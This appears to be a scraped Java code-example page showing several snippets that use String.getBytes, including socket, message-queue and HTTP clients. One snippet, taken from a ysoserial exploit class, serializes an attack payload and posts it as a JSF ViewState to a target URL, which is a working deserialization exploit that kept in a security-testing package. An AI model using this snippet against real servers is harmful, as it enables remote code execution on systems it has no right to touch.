Example usage for java.lang String getBytes

Introduction

In this page you can find the example usage for java.lang String getBytes.

Prototype

public byte[] getBytes(Charset charset) 

Source Link

Document

Encodes this String into a sequence of bytes using the given java.nio.charset.Charset charset , storing the result into a new byte array.

Usage

From source file:Main.java

public static void main(String[] args) throws Exception {
    AsynchronousSocketChannel channel = AsynchronousSocketChannel.open();
    SocketAddress serverAddr = new InetSocketAddress("localhost", 8989);
    Future<Void> result = channel.connect(serverAddr);
    result.get();/*from   w  ww  . j  av  a 2s  . co m*/
    System.out.println("Connected");
    Attachment attach = new Attachment();
    attach.channel = channel;
    attach.buffer = ByteBuffer.allocate(2048);
    attach.isRead = false;
    attach.mainThread = Thread.currentThread();

    Charset cs = Charset.forName("UTF-8");
    String msg = "Hello";
    byte[] data = msg.getBytes(cs);
    attach.buffer.put(data);
    attach.buffer.flip();

    ReadWriteHandler readWriteHandler = new ReadWriteHandler();
    channel.write(attach.buffer, attach, readWriteHandler);
    attach.mainThread.join();
}

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From source file:com.project.finalproject.Send.java

public static void main(String[] argv) throws Exception {
    ConnectionFactory factory = new ConnectionFactory();
    factory.setHost("localhost");
    Connection connection = factory.newConnection();
    Channel channel = connection.createChannel();
    channel.queueDeclare(QUEUE_NAME, false, false, false, null);

    try {//w w  w .j a v a2 s  . c o m
        InputStream is = new FileInputStream("hr.json");
        String jsontxt = IOUtils.toString(is);
        JSONObject jsonObject = new JSONObject(jsontxt);
        JSONArray stream = jsonObject.getJSONArray("stream");
        for (int i = 0; i < stream.length(); i++) {
            String message = stream.getJSONObject(i).getString("value");
            channel.basicPublish("", QUEUE_NAME, null, message.getBytes("UTF-8"));
            System.out.println(" [x] Sent '" + message + "'");
            TimeUnit.SECONDS.sleep(1);
        }
    } catch (FileNotFoundException fe) {
        fe.printStackTrace();
    } catch (Exception e) {
        e.printStackTrace();
    }

    channel.close();
    connection.close();
}

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From source file:Main.java

public static void main(String[] args) {

    try {/*w w w  .j a  va  2s  . c  o m*/
        String str1 = "java2s.com";
        System.out.println("string1 = " + str1);
        // copy the contents of the String to a byte array
        byte[] arr = str1.getBytes("ASCII");

        String str2 = new String(arr);
        System.out.println("new string = " + str2);
    } catch (Exception e) {
        System.out.print(e.toString());
    }
}

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From source file:Main.java

public static void main(String[] args) {

    try {/* ww  w.  j  a  va  2  s .  c  o  m*/
        String str1 = "java2s.com";
        System.out.println("string1 = " + str1);
        // copy the contents of the String to a byte array
        byte[] arr = str1.getBytes(Charset.forName("ASCII"));

        String str2 = new String(arr);
        System.out.println("new string = " + str2);
    } catch (Exception e) {
        System.out.print(e.toString());
    }
}

---

From source file:com.cliqset.magicsig.util.KeyTester.java

public static void main(String[] args) {
    try {//from   ww w  . j  a va  2 s .  co  m
        FileInputStream fis = new FileInputStream(keyFile);
        BufferedReader reader = new BufferedReader(new InputStreamReader(fis));
        String line = null;

        while ((line = reader.readLine()) != null) {
            MagicKey key = new MagicKey(line.getBytes("ASCII"));

            RSASHA256MagicSigAlgorithm alg = new RSASHA256MagicSigAlgorithm();
            byte[] sig = alg.sign(data, key);

            System.out.println(Base64.encodeBase64URLSafeString(sig));

            boolean verified = alg.verify(data, sig, key);

            if (!verified) {
                System.out.println("FAILED - " + line);
            }

            //System.out.println(lineSplit[0] + " " + key.toString(true));
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    System.out.println("Done.");
}

---

From source file:com.twitter.distributedlog.basic.ConsoleProxyMultiWriter.java

public static void main(String[] args) throws Exception {
    if (2 != args.length) {
        System.out.println(HELP);
        return;/*from  w  w w  .j  av  a2 s  . com*/
    }

    String finagleNameStr = args[0];
    final String streamList = args[1];

    DistributedLogClient client = DistributedLogClientBuilder.newBuilder()
            .clientId(ClientId.apply("console-proxy-writer")).name("console-proxy-writer").thriftmux(true)
            .finagleNameStr(finagleNameStr).build();
    String[] streamNameList = StringUtils.split(streamList, ',');
    DistributedLogMultiStreamWriter multiStreamWriter = DistributedLogMultiStreamWriter.newBuilder()
            .streams(Lists.newArrayList(streamNameList)).bufferSize(0).client(client).flushIntervalMs(0)
            .firstSpeculativeTimeoutMs(10000).maxSpeculativeTimeoutMs(20000).requestTimeoutMs(50000).build();

    // Setup Terminal
    Terminal terminal = Terminal.setupTerminal();
    ConsoleReader reader = new ConsoleReader();
    String line;
    while ((line = reader.readLine(PROMPT_MESSAGE)) != null) {
        multiStreamWriter.write(ByteBuffer.wrap(line.getBytes(UTF_8)))
                .addEventListener(new FutureEventListener<DLSN>() {
                    @Override
                    public void onFailure(Throwable cause) {
                        System.out.println("Encountered error on writing data");
                        cause.printStackTrace(System.err);
                        Runtime.getRuntime().exit(0);
                    }

                    @Override
                    public void onSuccess(DLSN value) {
                        // done
                    }
                });
    }

    multiStreamWriter.close();
    client.close();
}

---

From source file:org.eclipse.lyo.adapter.tdb.clients.OSLCTriplestoreAdapterResourceCreationClient.java

public static void main(String[] args) {

    String baseHTTPURI = "http://localhost:" + OSLC4JTDBApplication.portNumber + "/oslc4jtdb";
    String projectId = "default";

    // URI of the HTTP request
    String tdbResourceCreationFactoryURI = baseHTTPURI + "/services/" + projectId + "/resources";

    // create RDF to add to the triplestore
    Model resourceRDFModel = ModelFactory.createDefaultModel();
    Resource resource = ResourceFactory
            .createResource("http://localhost:8585/oslc4jtdb/services/default/resources/newBlock4");
    Property property = ResourceFactory//from w ww  .  ja v  a  2  s. c om
            .createProperty("http://localhost:8585/oslc4jtdb/services/default/resources/newProperty4");
    RDFNode object = ResourceFactory
            .createResource("http://localhost:8585/oslc4jtdb/services/default/resources/newObject4");
    resourceRDFModel.add(resource, property, object);
    StringWriter out = new StringWriter();
    resourceRDFModel.write(out, "RDF/XML");
    resourceRDFModel.write(System.out);

    HttpClient client = new DefaultHttpClient();
    HttpPost post = new HttpPost(tdbResourceCreationFactoryURI);
    String xml = out.toString();
    HttpEntity entity;
    try {
        entity = new ByteArrayEntity(xml.getBytes("UTF-8"));
        post.setEntity(entity);
        post.setHeader("Accept", "application/rdf+xml");
        HttpResponse response = client.execute(post);

        System.out.println("Response Code : " + response.getStatusLine().getStatusCode());

    } catch (UnsupportedEncodingException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (ClientProtocolException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }

}

---

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);//from ww  w  . ja  va  2 s .co m
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

---

From source file:MainClass.java

public static void main(String[] args) throws IOException {

    URL u = new URL("http://www.java2s.com");
    String host = u.getHost();/* ww w . ja v a  2  s. co m*/
    int port = 80;
    String file = "/";

    SocketAddress remote = new InetSocketAddress(host, port);
    SocketChannel channel = SocketChannel.open(remote);
    FileOutputStream out = new FileOutputStream("yourfile.htm");
    FileChannel localFile = out.getChannel();

    String request = "GET " + file + " HTTP/1.1\r\n" + "User-Agent: HTTPGrab\r\n" + "Accept: text/*\r\n"
            + "Connection: close\r\n" + "Host: " + host + "\r\n" + "\r\n";

    ByteBuffer header = ByteBuffer.wrap(request.getBytes("US-ASCII"));
    channel.write(header);

    ByteBuffer buffer = ByteBuffer.allocate(8192);
    while (channel.read(buffer) != -1) {
        buffer.flip();
        localFile.write(buffer);
        buffer.clear();
    }

    localFile.close();
    channel.close();
}

---

From source file:com.zip.CreateZipWithOutputStreams.java

/**
 * @param args//  ww w .j  ava 2s  . com
 * @throws UnsupportedEncodingException 
 */
public static void main(String[] args) throws UnsupportedEncodingException {
    //      new CreateZipWithOutputStreams();
    //      zipFilesAndEncrypt("D:\\test\\download","D:\\test\\download\\1.zip","12345");
    //      unzipFile("D:\\test\\download\\1.zip","D:\\test\\download",null);
    String str = "/usr/local/aiomni/27/temp/offLineFolder/admin8a21848b4056b2e4014056b533240000/??????_1.xls";
    System.out.println(new String(str.getBytes("ISO8859-1"), "GBK"));
    System.out.println(System.getProperty("file.encoding"));
}

---

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